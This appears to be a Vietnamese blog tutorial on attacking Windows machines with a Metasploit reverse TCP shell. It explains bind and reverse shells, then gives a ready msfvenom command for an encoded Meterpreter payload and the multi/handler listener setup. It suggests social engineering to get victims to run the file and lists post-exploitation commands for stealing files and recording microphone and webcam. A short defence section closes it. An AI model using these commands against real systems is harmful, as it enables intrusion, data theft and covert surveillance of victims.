Hôm nay mình sẽ giới thiệu cho các bạn về 1 cách tấn công windows sử dụng Reverse TCP

* LƯU Ý: BÀI VIẾT SAU CHỈ DÙNG CHO MỤC ĐÍCH HỌC TẬP.

Trước hết thì ta cần hiều TCP/IP là gì nhé!

TCP/IP là gì?

TCP/IP là viết tắt của cụm từ Transmission Control Protocol/Internet Protocol. TCP/IP là một tập hợp các giao thức (protocol) điều khiển truyền thông giữa tất cả các máy tính trên Internet. Cụ thể hơn, TCP/IP chỉ rõ cách thức đóng gói thông tin (hay còn gọi là gói tin ), được gửi và nhận bởi các máy tính có kết nối với nhau. TCP/IP được phát triển vào năm 1978 bởi Bob Kahn và Vint Cerf.

KHÁI NIỆM

Có 2 khái niệm về cách tấn công này

Reverse shell và Bindshell.

BINDSHELL LÀ GÌ?

Bind shell là một loại shell mà trong đó máy nạn nhân sẽ mở một cổng giao tiếp hoặc một cổng dùng để lắng nghe và chờ một kết nối đến. Sau đó, kẻ tấn công kết nối với cổng lắng nghe đã được mở trên máy nạn nhân, sau đó dẫn đến việc thực thi mã hoặc lệnh trực tiếp trên máy nạn nhân

REVERSESHELL LÀ GÌ?

Reverse Shell: Đây là một loại shell trong đó máy mục tiêu bắt đầu kết nối với máy tấn công. Máy tấn công này có một cổng để nhận các kết nối đến, khi được sử dụng, có thể dẫn đến thực thi mã hoặc lệnh trên máy nạn nhân.

CUỘC TẤN CÔNG REVERSE_TCP

Một cuộc tấn công reverse_tcp là một kiểu tấn công khai thác lỗ hổng.

File khai thác lỗ hổng là một phần mềm, một đoạn dữ liệu hoặc một chuỗi các câu lệnh lợi dụng lỗi hoặc lỗ hổng trong ứng dụng hoặc hệ thống để tạo ra hành vi ngoài ý muốn hoặc không lường trước được từ hệ điều hành.

Khi thiết bị khởi tạo một kết nối, chúng tôi gọi nó là một kết nối thẳng (forward connection).

Nhưng khi chúng ta làm điều ngược lại, server bắt đầu kết nối đến thiết bị,ta gọi đó là kết nối ngược (reverse connection).

Tường lửa hoạt động theo nguyên tắc cơ bản là chặn tất cả các kết nối đến. Vì vậy, tất cả các kết nối đến (kết nối thẳng) bị chặn bởi tường lửa. Tuy nhiên, nếu máy nạn nhân thiết lập kết nối (kết nối ngược) thì được phép và kết quả là chúng ta có được kết nối được thiết lập tới máy nạn nhân.

Đối với kiểu tấn công Reverse_TCP về cơ bản thay vì kẻ tấn công khởi tạo kết nối rõ ràng sẽ bị chặn bởi tường lửa, máy nạn nhân sẽ khởi tạo kết nối tới kẻ tấn công, nhiều khả năng sẽ được tường lửa cho phép và kẻ tấn công sau đó kiểm soát thiết bị và truyền lệnh. Nó là một loại shell tương tác ngược.

YÊU CẦU ĐỂ THỰC HIỆN THEO HƯỚNG DẪN NÀY:

1. 1 Máy Linux (Ở đây mình dùng Kali Linux)

2. Metasploit (Vì đây không phải hướng dẫn chuyên sâu về phần viết code nên mấy anh chị cho em cheat ạ, nếu mọi người muốn thì em sẽ làm 1 bài về lỗ hổng này nhưng code mình tự viết không cần dùng metasploit)

Tiến hành chuẩn bị:

Mở terminal của các bạn lên và chuẩn bị bắt đầu thực hiện tạo payload

Để thực hiện tấn công thì ta cần chuẩn bị 2 thứ

1. LHOST: Đây là địa chỉ ip của bạn.

2. LPORT: Đây là port trên LHOST mà ta muốn nạn nhân kết nối tới.

Để tạo payload bạn cần nhập dòng lệnh sau vào terminal

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP của bạn> LPORT:4444 -f exe -e cmd/powershell_base64 -o ~/payload.exe

Câu lệnh này tạo ra một payload loại exe (dạng thực thi trên Windows) và được mã hóa dạng powershell_base64, được xuất ra tệp payload.exe

Bây giờ chúng ta cần gửi payload này đến máy nạn nhân, để thử nghiệm, bạn có thể sao chép tệp theo cách thủ công nhưng thực tế bạn sẽ phải sử dụng kỹ thuật social engineering để gửi tệp đến máy nạn nhân.

Bây giờ chúng ta phải thiết lập một listener trên máy tấn công, điều này có thể được thực hiện bằng cách mở terminal lên và chạy các lệnh sau:

msfconsole msf5> use exploit/multi/handler msf5 exploit

Ở bước này ta sẽ nêu ra chính xác payload mà ta đã tạo ở trên:

msf5 exploit(handler)> set payload windows/meterpreter/reverse_tcp

Khai báo địa chỉ ip của máy bạn

msf5 exploit(handler)> set lhost <ip của bạn> msf5 exploit

Khai báo port của listener

msf5 exploit(handler)> set lport 4444 msf5 exploit

Lệnh thực thi listener

msf5 exploit(handler)> exploit

Các câu lệnh trên sẽ thiết lập handler trên máy kẻ tấn công và chỉ chờ kết nối ngược từ nạn nhân.

Bây giờ chúng ta phải làm cho nạn nhân chạy payload trên máy.

Thực hiện khai thác lỗ hổng:

Danh sách tất cả các lệnh có thể tìm kiếm bằng lệnh help

Ở đây ta chỉ cần quan tâm tới các thứ như

============================

Lệnh Tác dụng

------- -----------

cat Đọc dữ liệu của 1 file lên màn hình

cd Đổi thư mục

checksum Nhận checksum của file

cp Copy từ nguồn đến nơi ta muốn lưu

del Xóa 1 file nào đấy

dir List files (alias for ls)

download Tải xuống 1 file trong thư mục

edit Sửa 1 file

getlwd In ra đường dẫn của thư mục ta đang ở

getwd In ra thư mục ta đang ở

lcd Chuyển đến thư mục khác

lls In ra danh sách tất cả các file và thư

lpwd Print local working directory

ls List files

mkdir Make directory

mv Move source to destination

pwd Print working directory

rm Delete the specified file

rmdir Remove directory

search Tìm 1 file

show_mount Danh sách tất cả các thiết bị lưu trữ đang được cắm vào

record_mic Ghi âm trong x giây

webcam_chat Bắt đầu 1 video chat

webcam_list List webcams

webcam_snap Chụp 1 tấm ảnh từ webcam

webcam_stream Bắt tín hiệu từ webcam

============================

Vậy làm sao để phòng chống khỏi loại tấn công này?

Loại hình tấn công này thường được nhắm tới đối tượng là các doanh nghiệp là chính 1 khi kẻ tấn công có được quyền kết nối tới máy chủ thì hắn có thể thực thi các lệnh điều khiển tới máy bị nhiễm payload

Đối với cá nhân và cả doanh nghiệp

- Không nên click vào những đường link lạ trên internet

- Trước khi thực thi 1 file exe ở 1 nguồn không tin tưởng thì các bạn nên quét qua

https://www.virustotal.com/gui/

- Cập nhật hệ điều hành thường xuyên.

- Không nên tắt phần mềm diệt virus của windows (có thể bạn không biết thì phần mềm diệt virus của windows khá là tốt, không vô dụng như bạn nghĩ đâu )

Đối với doanh nghiệp:

- Triển khai bộ lọc của tường lửa. Thiết lập 1 proxy có chức năng phân tích và kiểm tra sâu các gói tin gây cản trở đến kết nối SSL/TCP và chặn các kết nối khả nghi ra bên ngoài.

- Tắt khả năng thực thi các gói tin ở các thư mục tạm

- Không nên đưa quyền admin cho các người dùng (Nếu họ cần nâng cấp quyền để thực hiện tác vụ thì ta đưa cho họ 1 account họ phải sử dụng "Run as..." để có khả năng thực thi file).